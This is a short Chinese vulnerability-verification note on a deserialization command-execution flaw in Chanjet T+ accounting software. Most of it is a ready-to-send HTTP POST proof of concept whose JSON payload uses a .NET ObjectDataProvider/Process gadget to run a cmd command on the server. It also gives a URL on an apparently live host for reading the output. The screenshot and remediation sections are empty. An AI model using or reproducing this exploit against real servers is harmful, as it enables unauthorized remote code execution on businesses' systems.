漏洞验证-畅捷通T+ 反序列化命令执行

一、漏洞描述

畅捷通T+存在反序列化命令执行漏洞，攻击者可利用此漏洞执行任意命令

二、POC

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: XXXX
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 592

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c ipconfig > test.txt"
        }
    }
  }
}

 

http://wzhh0577.gnway.cc:8999/tplus/test.txt

三、验证截图

四、整改建议

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